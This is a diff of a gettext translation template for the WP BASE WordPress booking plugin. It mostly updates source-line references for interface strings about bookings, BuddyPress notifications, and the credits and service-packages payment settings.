+#: includes/admin/setup.php:917 includes/constant-data.php:644
+#: includes/constant-data.php:646 includes/constant-data.php:649
+#: includes/functions.internal.php:2969
 msgid "here"
 msgstr ""
 
@@ -743,11 +745,11 @@
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:391
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:438
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:459
-#: includes/addons/credits/credits.php:1564
-#: includes/addons/credits/credits.php:1591
-#: includes/addons/credits/credits.php:1733
-#: includes/addons/credits/credits.php:1749
-#: includes/addons/group-bookings.php:1452
+#: includes/addons/credits/credits.php:1568
+#: includes/addons/credits/credits.php:1595
+#: includes/addons/credits/credits.php:1737
+#: includes/addons/credits/credits.php:1753
+#: includes/addons/group-bookings.php:1469
 #: includes/addons/multi-vendor/admin/vendor-settings.php:226
 #: includes/addons/paypal-standard/paypal-standard.php:224
 #: includes/addons/service-providers/worker-settings.php:199
@@ -756,15 +758,15 @@
 #: includes/addons/service-providers/workers-list.php:1377
 #: includes/addons/stripe/stripe.php:480
 #: includes/addons/variable-durations/selectable-durations.php:536
-#: includes/admin/global-settings.php:736
-#: includes/admin/global-settings.php:756
+#: includes/admin/global-settings.php:870
+#: includes/admin/global-settings.php:890
 #: includes/admin/monetary-settings.php:193
-#: includes/admin/services-list.php:920 includes/admin/services-list.php:921
-#: includes/admin/services-list.php:933 includes/admin/services-list.php:1251
-#: includes/admin/services-list.php:1825 includes/admin/services-list.php:1826
-#: includes/admin/services-list.php:1842 includes/admin/setup.php:771
+#: includes/admin/services-list.php:921 includes/admin/services-list.php:922
+#: includes/admin/services-list.php:934 includes/admin/services-list.php:1252
+#: includes/admin/services-list.php:1834 includes/admin/services-list.php:1835
+#: includes/admin/services-list.php:1851 includes/admin/setup.php:771
 #: includes/admin/setup.php:903 includes/admin/setup.php:914
-#: includes/custom-texts.php:1159 includes/functions.internal.php:1705
+#: includes/custom-texts.php:1165 includes/functions.internal.php:1705
 #: includes/login-register.php:204 includes/payment-gateway-pay-later.php:76
 msgid "No"
 msgstr ""
@@ -772,24 +774,24 @@
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:392
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:437
 #: includes/addons/authorizenet-aim/authorizenet-aim.php:458
-#: includes/addons/credits/credits.php:1565
-#: includes/addons/credits/credits.php:1592
-#: includes/addons/credits/credits.php:1750
+#: includes/addons/credits/credits.php:1569
+#: includes/addons/credits/credits.php:1596
+#: includes/addons/credits/credits.php:1754
 #: includes/addons/paypal-standard/paypal-standard.php:225
 #: includes/addons/service-providers/workers-list.php:772
 #: includes/addons/service-providers/workers-list.php:1213
 #: includes/addons/service-providers/workers-list.php:1377
 #: includes/addons/stripe/stripe.php:481
 #: includes/addons/variable-durations/selectable-durations.php:537
-#: includes/admin/global-settings.php:737
-#: includes/admin/global-settings.php:761
+#: includes/admin/global-settings.php:871
+#: includes/admin/global-settings.php:895
 #: includes/admin/monetary-settings.php:191
-#: includes/admin/services-list.php:920 includes/admin/services-list.php:921
-#: includes/admin/services-list.php:933 includes/admin/services-list.php:1250
-#: includes/admin/services-list.php:1825 includes/admin/services-list.php:1826
-#: includes/admin/services-list.php:1842 includes/admin/setup.php:772
+#: includes/admin/services-list.php:921 includes/admin/services-list.php:922
+#: includes/admin/services-list.php:934 includes/admin/services-list.php:1251
+#: includes/admin/services-list.php:1834 includes/admin/services-list.php:1835
+#: includes/admin/services-list.php:1851 includes/admin/setup.php:772
 #: includes/admin/setup.php:904 includes/admin/setup.php:915
-#: includes/custom-texts.php:1372 includes/functions.internal.php:1706
+#: includes/custom-texts.php:1378 includes/functions.internal.php:1706
 #: includes/login-register.php:205 includes/payment-gateway-pay-later.php:77
 msgid "Yes"
 msgstr ""
@@ -917,82 +919,82 @@
 msgid "BuddyPress may have been deactivated."
 msgstr ""
 
-#: includes/addons/buddypress.php:1278 includes/user.php:1643
+#: includes/addons/buddypress.php:1290 includes/user.php:1656
 msgid "Save Profile Settings"
 msgstr ""
 
-#: includes/addons/buddypress.php:1411
+#: includes/addons/buddypress.php:1423
 msgid "New booking made by client"
 msgstr ""
 
-#: includes/addons/buddypress.php:1412
+#: includes/addons/buddypress.php:1424
 msgid "New booking made by provider"
 msgstr ""
 
-#: includes/addons/buddypress.php:1413
+#: includes/addons/buddypress.php:1425
 msgid "New booking made by admin"
 msgstr ""
 
-#: includes/addons/buddypress.php:1414
+#: includes/addons/buddypress.php:1426
 msgid "Booking confirmed"
 msgstr ""
 
-#: includes/addons/buddypress.php:1415
+#: includes/addons/buddypress.php:1427
 msgid "Booking paid"
 msgstr ""
 
-#: includes/addons/buddypress.php:1416
+#: includes/addons/buddypress.php:1428
 msgid "Booking rescheduled by client"
 msgstr ""
 
-#: includes/addons/buddypress.php:1417
+#: includes/addons/buddypress.php:1429
 msgid "Booking rescheduled by provider"
 msgstr ""
 
-#: includes/addons/buddypress.php:1418
+#: includes/addons/buddypress.php:1430
 msgid "Booking rescheduled by admin"
 msgstr ""
 
-#: includes/addons/buddypress.php:1419
+#: includes/addons/buddypress.php:1431
 msgid "Booking cancelled by client"
 msgstr ""
 
-#: includes/addons/buddypress.php:1420
+#: includes/addons/buddypress.php:1432
 msgid "Booking cancelled by provider"
 msgstr ""
 
-#: includes/addons/buddypress.php:1421
+#: includes/addons/buddypress.php:1433
 msgid "Booking cancelled by admin"
 msgstr ""
 
-#: includes/addons/buddypress.php:1422
+#: includes/addons/buddypress.php:1434
 msgid "Service provider changed"
 msgstr ""
 
-#: includes/addons/buddypress.php:1423
+#: includes/addons/buddypress.php:1435
 msgid "Booking started"
 msgstr ""
 
-#: includes/addons/buddypress.php:1424
+#: includes/addons/buddypress.php:1436
 msgid "Booking completed"
 msgstr ""
 
-#: includes/addons/buddypress.php:1836 includes/addons/google-calendar.php:1879
+#: includes/addons/buddypress.php:1848 includes/addons/google-calendar.php:1879
 #: includes/addons/google-calendar.php:2016
 #: includes/addons/google-calendar.php:2644
-#: includes/admin/global-settings.php:473
+#: includes/admin/global-settings.php:558
 msgid "Not selected"
 msgstr ""
 
-#: includes/addons/buddypress.php:1836
+#: includes/addons/buddypress.php:1848
 msgid "No groups defined"
 msgstr ""
 
-#: includes/addons/buddypress.php:2144 includes/addons/coupons.php:462
+#: includes/addons/buddypress.php:2156 includes/addons/coupons.php:462
 #: includes/addons/custom-pricing.php:343
 #: includes/addons/event-bookings/event-admin.php:715
 #: includes/addons/extras.php:684 includes/addons/google-calendar.php:2156
-#: includes/addons/locations.php:925
+#: includes/addons/locations.php:904
 #: includes/addons/locations/location-settings.php:69
 #: includes/addons/multi-language.php:2249 includes/addons/multi-vendor.php:132
 #: includes/addons/reminder-follow-up-emails.php:458
@@ -1000,53 +1002,52 @@
 #: includes/addons/service-providers/worker-settings.php:68
 #: includes/addons/woocommerce/wc-admin.php:178
 #: includes/admin/base-admin.php:92 includes/admin/toolbar.php:137
-#: includes/custom-texts.php:866 includes/freeons/edd.php:1477
+#: includes/custom-texts.php:875 includes/freeons/edd.php:1477
 #: includes/freeons/export-import.php:1363
 #: includes/freeons/front-end-booking-management.php:386
-#: includes/freeons/front-end-edit.php:804
 #: includes/freeons/shopping-cart.php:71 includes/gateways.php:258
 msgid "Settings"
 msgstr ""
 
-#: includes/addons/buddypress.php:2153
+#: includes/addons/buddypress.php:2165
 msgid "BuddyPress"
 msgstr ""
 
-#: includes/addons/buddypress.php:2179
+#: includes/addons/buddypress.php:2191
 msgid "Service Provider Selects"
 msgstr ""
 
-#: includes/addons/buddypress.php:2214
+#: includes/addons/buddypress.php:2226
 msgid ""
 "No member types defined. If automatic assignment is required, it should be "
 "done using \"WP BASE Provider\" custom role."
 msgstr ""
 
-#: includes/addons/buddypress.php:2241
+#: includes/addons/buddypress.php:2253
 msgid "Other Settings"
 msgstr ""
 
-#: includes/addons/buddypress.php:2243
+#: includes/addons/buddypress.php:2255
 #, php-format
 msgid ""
 "Provider capabilities are set at %s. These capabilities will affect which "
 "tabs are available at the profile page of the user."
 msgstr ""
 
-#: includes/addons/buddypress.php:2243
+#: includes/addons/buddypress.php:2255
 #: includes/addons/multi-vendor/admin/vendor-settings.php:674
 #: includes/addons/service-providers/worker-settings.php:60
 msgid "Provider Settings"
 msgstr ""
 
-#: includes/addons/buddypress.php:2245
+#: includes/addons/buddypress.php:2257
 #, php-format
 msgid ""
 "You can enable payment with WooCommerce at %s. Otherwise payments will be "
 "done with WP BASE payment gateways."
 msgstr ""
 
-#: includes/addons/buddypress.php:2245
+#: includes/addons/buddypress.php:2257
 #: includes/addons/multi-vendor/admin/vendor-settings.php:46
 #: includes/addons/multi-vendor/admin/vendor-settings.php:142
 msgid "Marketplace Settings"
@@ -1074,10 +1075,10 @@
 #: includes/addons/seasonal-working-hours.php:251
 #: includes/addons/service-providers/workers-list.php:237
 #: includes/addons/service-providers/workers-list.php:724
-#: includes/addons/user-defined-fields.php:1388 includes/admin/clients.php:178
+#: includes/addons/user-defined-fields.php:1403 includes/admin/clients.php:178
 #: includes/admin/clients.php:249 includes/admin/clients.php:619
-#: includes/admin/services-list.php:201 includes/admin/services-list.php:872
-#: includes/freeons/categories/categories.php:381
+#: includes/admin/services-list.php:202 includes/admin/services-list.php:873
+#: includes/freeons/categories/categories.php:374
 msgid "ID"
 msgstr ""
 
@@ -1106,7 +1107,7 @@
 msgid "Max Uses"
 msgstr ""
 
-#: includes/addons/coupons.php:587 includes/addons/credits/user.php:291
+#: includes/addons/coupons.php:587 includes/addons/credits/user.php:263
 msgid "Used"
 msgstr ""
 
@@ -1167,7 +1168,7 @@
 msgid "All must match"
 msgstr ""
 
-#: includes/addons/coupons.php:692 includes/addons/credits/credits.php:1843
+#: includes/addons/coupons.php:692 includes/addons/credits/credits.php:1847
 #: includes/addons/custom-pricing.php:526 includes/addons/extras.php:961
 #: includes/addons/multi-vendor/includes/flexible-price.php:448
 msgid "Everyone"
@@ -1268,48 +1269,48 @@
 msgid "This product is for tracking WP BASE credit sales. Do not delete."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1231
+#: includes/addons/credits/credits.php:1232
 #, php-format
 msgid "Order #%d"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1235
+#: includes/addons/credits/credits.php:1239
 #, php-format
 msgid ""
 "Credits in WooCommerce order #%d for %s credits for user #%d cannot be saved"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1262
+#: includes/addons/credits/credits.php:1266
 #, php-format
 msgid "Payment with %s credits for user# %d cannot be saved"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1295
+#: includes/addons/credits/credits.php:1299
 #, php-format
 msgid "Credit sale - %s credits"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1466
-#: includes/addons/credits/credits.php:1472
+#: includes/addons/credits/credits.php:1470
+#: includes/addons/credits/credits.php:1476
 #, php-format
 msgid "Refunded due to cancellation of booking #%d"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1509
+#: includes/addons/credits/credits.php:1513
 #, php-format
 msgid "Bundle%d"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1509
+#: includes/addons/credits/credits.php:1513
 #, php-format
 msgid "Plan%d"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1534 includes/addons/credits/user.php:53
+#: includes/addons/credits/credits.php:1538 includes/addons/credits/user.php:53
 msgid "Digital Wallet"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1536
+#: includes/addons/credits/credits.php:1540
 #, php-format
 msgid ""
 "Accept payments using internal credit/points system. Also allows selling "
@@ -1317,33 +1318,33 @@
 "user on %s page by editing the client record."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1536 includes/admin/clients.php:116
+#: includes/addons/credits/credits.php:1540 includes/admin/clients.php:116
 #: includes/admin/clients.php:306 includes/admin/toolbar.php:128
-#: includes/custom-texts.php:916
+#: includes/custom-texts.php:924
 msgid "Clients"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1539 includes/gateways.php:211
+#: includes/addons/credits/credits.php:1543 includes/gateways.php:211
 msgid "Public Name"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1543 includes/gateways.php:215
+#: includes/addons/credits/credits.php:1547 includes/gateways.php:215
 msgid ""
 "Enter a public name for this payment method that is displayed to users - No "
 "HTML"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1551
-#: includes/addons/credits/credits.php:1638
-#: includes/addons/credits/user.php:368 includes/custom-texts.php:949
+#: includes/addons/credits/credits.php:1555
+#: includes/addons/credits/credits.php:1642
+#: includes/addons/credits/user.php:340 includes/custom-texts.php:956
 msgid "Credits"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1552
+#: includes/addons/credits/credits.php:1556
 msgid "Service Packages"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1554
+#: includes/addons/credits/credits.php:1558
 msgid ""
 "In <b>Credits mode</b>, clients buy credits that they can use to book "
 "services. Credits can be considered as internal digital coins. Credits "
@@ -1351,7 +1352,7 @@
 "promote selling higher amounts and it is optional."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1556
+#: includes/addons/credits/credits.php:1560
 msgid ""
 "In <b>Service Packages mode</b>, clients buy service sessions regardless of "
 "service price. For example 5 sessions of English Class, 10 sessions of "
@@ -1360,11 +1361,11 @@
 "will be regarded as free."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1561
+#: includes/addons/credits/credits.php:1565
 msgid "Sell Credits/Packages with WooCommerce"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1567
+#: includes/addons/credits/credits.php:1571
 msgid ""
 "If selected as Yes, Credits/Packages will be sold with WooCoommerce "
 "checkout. WooCommerce plugin is required, WooCommerce Integration addon is "
@@ -1372,11 +1373,11 @@
 "REGULAR page (not on a product page)."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1572
+#: includes/addons/credits/credits.php:1576
 msgid "WooCommerce Product Name"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1575
+#: includes/addons/credits/credits.php:1579
 msgid ""
 "If credits/packages are sold with a plan and with WooCommerce, this template "
 "will be used to replace product name in WC Cart and Checkout. NAME, CREDIT, "
@@ -1385,32 +1386,32 @@
 "respectively."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1580
+#: includes/addons/credits/credits.php:1584
 msgid "WooCommerce Product Details"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1583
+#: includes/addons/credits/credits.php:1587
 msgid ""
 "Same as Product name, but this will be displayed under the product name "
 "field."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1588
+#: includes/addons/credits/credits.php:1592
 msgid "Unique Payment Method"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1594
+#: includes/addons/credits/credits.php:1598
 msgid ""
 "If selected as Yes, Digital Wallet will be the only payment method to book "
 "for services. Other active payment methods will only be used to sell credits "
 "and packages."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1599
+#: includes/addons/credits/credits.php:1603
 msgid "Conversion (Buying) Rate"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1602
+#: includes/addons/credits/credits.php:1606
 msgid ""
 "Your credit buying rate from the client. For example, if you enter 100 here, "
 "a $1 service will require 100 credits to book. For Service Packages mode, "
@@ -1418,11 +1419,11 @@
 "One package session is required for one booking per person."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1607
+#: includes/addons/credits/credits.php:1611
 msgid "Selling Rate"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1610
+#: includes/addons/credits/credits.php:1614
 msgid ""
 "Your credit selling rate to the client when you do not use plans. For "
 "example, if you enter 80 here, client needs to pay $1 to buy 80 credits. For "
@@ -1430,25 +1431,25 @@
 "<code>[app_sell_credit]</code> shortcode"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1615
+#: includes/addons/credits/credits.php:1619
 msgid "Plans"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1617
+#: includes/addons/credits/credits.php:1621
 msgid ""
 "In <b>Credits mode</b>, plans are optional and allow you to define tiers, "
 "i.e. price based on purchased quantity, instead of a fixed rate. For example "
 "5 credits $125, 10 credits $230."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1618
+#: includes/addons/credits/credits.php:1622
 msgid ""
 "In <b>Service Packages mode</b>, having plans is mandatory. For example 10 "
 "sessions of English and German classes $250, 10 sessions of French classes "
 "is $300."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1619
+#: includes/addons/credits/credits.php:1623
 msgid ""
 "Also in Service Packages mode you can combine 2 or more plans to form a "
 "<b>bundle</b> in order to offer special prices to your clients. For example "
@@ -1456,54 +1457,54 @@
 "instead of $550."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1623
+#: includes/addons/credits/credits.php:1627
 msgid "Add New Plan"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1628
+#: includes/addons/credits/credits.php:1632
 msgid "Make Bundle from Existing Plans"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1637 includes/addons/extras.php:822
+#: includes/addons/credits/credits.php:1641 includes/addons/extras.php:822
 #: includes/addons/locations/locations-list.php:835
-#: includes/admin/services-list.php:1165 includes/admin/transactions.php:466
-#: includes/custom-texts.php:1151 includes/custom-texts.php:1485
+#: includes/admin/services-list.php:1166 includes/admin/transactions.php:466
+#: includes/custom-texts.php:1158 includes/custom-texts.php:1490
 msgid "Name"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1638
+#: includes/addons/credits/credits.php:1642
 #: includes/addons/event-bookings/event-admin.php:336
-#: includes/addons/event-bookings/geodir.php:245 includes/custom-texts.php:1305
+#: includes/addons/event-bookings/geodir.php:245 includes/custom-texts.php:1311
 msgid "Sessions"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1640
+#: includes/addons/credits/credits.php:1644
 msgid "Expires"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1642
+#: includes/addons/credits/credits.php:1646
 #: includes/addons/locations/locations-list.php:869
 #: includes/addons/multi-vendor/admin/vendors-list.php:876
 #: includes/addons/multi-vendor/includes/flexible-price.php:419
 #: includes/addons/service-providers/workers-list.php:1047
-#: includes/admin/services-list.php:1213
+#: includes/admin/services-list.php:1214
 #, php-format
 msgid "Price (%s)"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1643
+#: includes/addons/credits/credits.php:1647
 msgid "Services in the Plan or Plans in the Bundle"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1643
+#: includes/addons/credits/credits.php:1647
 msgid "For Services"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1644
+#: includes/addons/credits/credits.php:1648
 msgid "For Users"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1651
+#: includes/addons/credits/credits.php:1655
 msgid ""
 "Enter details of your plans here. For example Basic, 5, 125; Popular, 10, "
 "230. Name, Credits/Sessions and Price fields are mandatory. You can select "
@@ -1512,11 +1513,11 @@
 "mode."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1657
+#: includes/addons/credits/credits.php:1661
 msgid "Plan Label (For simple plans)"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1661
+#: includes/addons/credits/credits.php:1665
 msgid ""
 "For non-bundle plans only. In the plan selection menu which is created with "
 "<code>[app_sell_credit]</code> shortcode, items will be displayed according "
@@ -1525,11 +1526,11 @@
 "<code>Basic Plan: $125 → 5 Credits</code>"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1666
+#: includes/addons/credits/credits.php:1670
 msgid "Credit Balance Note"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1670
+#: includes/addons/credits/credits.php:1674
 msgid ""
 "Template to be used to display client balance at checkout and user account "
 "for Credits mode. For example, <code>You have BALANCE credits worth of "
@@ -1537,21 +1538,21 @@
 "formatted real values."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1675
+#: includes/addons/credits/credits.php:1679
 msgid "Bundle of Plans Label"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1679
+#: includes/addons/credits/credits.php:1683
 msgid ""
 "For plans consisting of other plans (bundles) only. Same as above, but only "
 "NAME, PRICE and PLAN placeholders can be used."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1685
+#: includes/addons/credits/credits.php:1689
 msgid "Package Balance Note"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1689
+#: includes/addons/credits/credits.php:1693
 msgid ""
 "Template to be used to display client balance at checkout and user account "
 "for Service Packages mode. For example, <code>You can book BALANCE sessions "
@@ -1559,40 +1560,40 @@
 "will be replaced by their formatted real values."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1694
+#: includes/addons/credits/credits.php:1698
 msgid "Auto Wallet Selection Label"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1698
+#: includes/addons/credits/credits.php:1702
 msgid ""
 "When client has more than one wallet, they can select which one to use at "
 "checkout or leave it to the system to pick a suitable one. This setting is "
 "the text for auto selection option."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1703 includes/gateways.php:234
+#: includes/addons/credits/credits.php:1707 includes/gateways.php:234
 msgid "Client Instructions"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1707 includes/gateways.php:238
+#: includes/addons/credits/credits.php:1711 includes/gateways.php:238
 msgid ""
 "These are the instructions to display in the tooltip of gateway image on "
 "confirmation form - HTML allowed"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1712
+#: includes/addons/credits/credits.php:1716
 msgid "Confirmation Title"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1716
+#: includes/addons/credits/credits.php:1720
 msgid "Confirmation dialog title after successful credit/package purchase."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1721
+#: includes/addons/credits/credits.php:1725
 msgid "Confirmation Text"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1725
+#: includes/addons/credits/credits.php:1729
 msgid ""
 "Confirmation dialog content after successful credit/package purchase. "
 "CLIENT, PURCHASED, PAID, BALANCE, PLAN, SERVICE placeholders will be "
@@ -1600,84 +1601,83 @@
 "name of the selected plan and services that the plan is for, respectively."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1730
+#: includes/addons/credits/credits.php:1734
 msgid "Refund upon Cancellation"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1734
+#: includes/addons/credits/credits.php:1738
 msgid "Yes, if cancelled by admin"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1735
+#: includes/addons/credits/credits.php:1739
 msgid "Yes, if cancelled by admin or provider"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1736
+#: includes/addons/credits/credits.php:1740
 msgid "Yes, if cancelled by provider"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1737
+#: includes/addons/credits/credits.php:1741
 msgid "Yes, if cancelled by provider or client"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1738
+#: includes/addons/credits/credits.php:1742
 msgid "Yes, if cancelled by client"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1739
+#: includes/addons/credits/credits.php:1743
 msgid "Yes, when cancelled by anyone"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1741
+#: includes/addons/credits/credits.php:1745
 msgid ""
 "Whether credits/packages will be refunded upon cancellation depending on who "
 "cancelled the booking."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1746
+#: includes/addons/credits/credits.php:1750
 msgid "Pay for Waiting List Claims"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1752
+#: includes/addons/credits/credits.php:1756
 msgid ""
 "If selected as Yes, waiting list claims will be paid from client's digital "
 "wallet. If their balance is not sufficient, claim will be rejected."
 msgstr ""
 
-#: includes/addons/credits/credits.php:1799
+#: includes/addons/credits/credits.php:1803
 msgid "This plan is a bundle"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1803
+#: includes/addons/credits/credits.php:1807
 #: includes/addons/locations/locations-list.php:1074
 #: includes/addons/multi-vendor/admin/unconfirmed.php:735
 #: includes/addons/multi-vendor/admin/unconfirmed.php:828
 #: includes/addons/multi-vendor/admin/vendors-list.php:1005
-#: includes/addons/multi-vendor/includes/user.php:257
+#: includes/addons/multi-vendor/includes/user.php:274
 #: includes/addons/service-providers/workers-list.php:1169
-#: includes/admin/services-list.php:1605 includes/admin/setup.php:114
+#: includes/admin/services-list.php:1608 includes/admin/setup.php:114
 msgid "Delete"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1825
+#: includes/addons/credits/credits.php:1829
 msgid "Plans: "
 msgstr ""
 
-#: includes/addons/credits/credits.php:1825
+#: includes/addons/credits/credits.php:1829
 #: includes/addons/event-bookings/functions.event.php:236
 #: includes/addons/extras.php:936 includes/addons/google-calendar.php:2117
-#: includes/addons/google-calendar.php:3243 includes/addons/locations.php:253
+#: includes/addons/google-calendar.php:3243 includes/addons/locations.php:251
 #: includes/addons/locations/location-settings.php:114
-#: includes/addons/multi-vendor/admin/commission-settings.php:191
-#: includes/addons/multi-vendor/admin/commission-settings.php:225
-#: includes/addons/multi-vendor/admin/commissions-list.php:401
-#: includes/addons/multi-vendor/admin/commissions-list.php:402
-#: includes/addons/multi-vendor/admin/commissions-list.php:405
+#: includes/addons/multi-vendor/admin/commission-settings.php:203
+#: includes/addons/multi-vendor/admin/commission-settings.php:237
+#: includes/addons/multi-vendor/admin/commissions-list.php:408
+#: includes/addons/multi-vendor/admin/commissions-list.php:409
+#: includes/addons/multi-vendor/admin/commissions-list.php:412
 #: includes/addons/multi-vendor/admin/vendor-settings.php:261
 #: includes/addons/multi-vendor/admin/vendor-settings.php:286
 #: includes/addons/multi-vendor/admin/vendor-settings.php:307
 #: includes/addons/multi-vendor/admin/vendor-settings.php:323
-#: includes/addons/multi-vendor/admin/vendor-settings.php:359
 #: includes/addons/multi-vendor/admin/vendor-settings.php:407
 #: includes/addons/multi-vendor/admin/vendor-settings.php:522
 #: includes/addons/multi-vendor/admin/vendors-list.php:1083
@@ -1687,24 +1687,24 @@
 #: includes/addons/service-providers/worker-settings.php:151
 #: includes/addons/woocommerce/functions.wc.php:88
 #: includes/admin/clients.php:937 includes/admin/display-advanced.php:184
-#: includes/admin/display-advanced.php:198 includes/custom-texts.php:1165
+#: includes/admin/display-advanced.php:198 includes/custom-texts.php:1171
 #: includes/freeons/edd.php:1526 includes/functions.internal.php:1386
-#: includes/functions.internal.php:1453 includes/user.php:698
+#: includes/functions.internal.php:1453 includes/user.php:706
 msgid "None"
 msgstr ""
 
-#: includes/addons/credits/credits.php:1835
+#: includes/addons/credits/credits.php:1839
 msgid "Services: "
 msgstr ""
 
-#: includes/addons/credits/credits.php:1835
-#: includes/addons/multi-vendor/admin/commissions-list.php:406
-#: includes/addons/multi-vendor/admin/commissions-list.php:597
-#: includes/addons/multi-vendor/admin/commissions-list.php:618
+#: includes/addons/credits/credits.php:1839
+#: includes/addons/multi-vendor/admin/commissions-list.php:413
+#: includes/addons/multi-vendor/admin/commissions-list.php:604
+#: includes/addons/multi-vendor/admin/commissions-list.php:625
 #: includes/addons/multi-vendor/admin/vendors-list.php:402
 #: includes/addons/multi-vendor/admin/vendors-list.php:423
 #: includes/addons/woocommerce/coupons.php:87 includes/admin/bookings.php:666
-#: includes/custom-texts.php:798
+#: includes/custom-texts.php:807
 msgid "All"
 msgstr ""
 
@@ -1713,7 +1713,7 @@
 msgid "Credit History for %1$s · Total: %2$d credits"
 msgstr ""
 
-#: includes/addons/credits/user.php:140 includes/addons/credits/user.php:682
+#: includes/addons/credits/user.php:140 includes/addons/credits/user.php:654
 #, php-format
 msgid "Expiring at %s"
 msgstr ""
@@ -1723,13 +1723,13 @@
 msgid "Service Package history for %1$s · Total: %2$d sessions"
 msgstr ""
 
-#: includes/addons/credits/user.php:178 includes/addons/credits/user.php:241
+#: includes/addons/credits/user.php:178 includes/addons/credits/user.php:227
 msgid "Delete Record"
 msgstr ""
 
 #: includes/addons/credits/user.php:194
-#: includes/addons/multi-vendor/includes/user.php:652
-#: includes/front-listing.php:192
+#: includes/addons/multi-vendor/includes/user.php:828
+#: includes/front-listing.php:261
 msgid "Print All"
 msgstr ""
 
@@ -1738,122 +1738,122 @@
 msgid "Current credits: %s"
 msgstr ""
 
-#: includes/addons/credits/user.php:287
+#: includes/addons/credits/user.php:259
 msgid "Purchased"
 msgstr ""
 
-#: includes/addons/credits/user.php:289
+#: includes/addons/credits/user.php:261
 msgid "Deposited"
 msgstr ""
 
-#: includes/addons/credits/user.php:293
+#: includes/addons/credits/user.php:265
 msgid "Refunded"
 msgstr ""
 
-#: includes/addons/credits/user.php:295 includes/class.booking.php:1204
+#: includes/addons/credits/user.php:267 includes/class.booking.php:1204
 msgid "Expired"
 msgstr ""
 
-#: includes/addons/credits/user.php:357 includes/custom-texts.php:862
+#: includes/addons/credits/user.php:329 includes/custom-texts.php:871
 msgid "Packages"
 msgstr ""
 
-#: includes/addons/credits/user.php:360
+#: includes/addons/credits/user.php:332
 msgid "Opens a dialog box to add package sessions"
 msgstr ""
 
-#: includes/addons/credits/user.php:361
+#: includes/addons/credits/user.php:333
 msgid "Add Package"
 msgstr ""
 
-#: includes/addons/credits/user.php:371
+#: includes/addons/credits/user.php:343
 msgid "Opens a dialog box to add credits"
 msgstr ""
 
-#: includes/addons/credits/user.php:372
+#: includes/addons/credits/user.php:344
 msgid "Add Credit"
 msgstr ""
 
-#: includes/addons/credits/user.php:375
+#: includes/addons/credits/user.php:347
 msgid "Recalculate after delete"
 msgstr ""
 
-#: includes/addons/credits/user.php:377
+#: includes/addons/credits/user.php:349
 msgid ""
 "After deleting a record, recalculates credits by adding/subtracting deleted "
 "amount"
 msgstr ""
 
-#: includes/addons/credits/user.php:450
+#: includes/addons/credits/user.php:422
 msgid "Add Package Session to USER"
 msgstr ""
 
-#: includes/addons/credits/user.php:450
+#: includes/addons/credits/user.php:422
 msgid "Add Credit to USER"
 msgstr ""
 
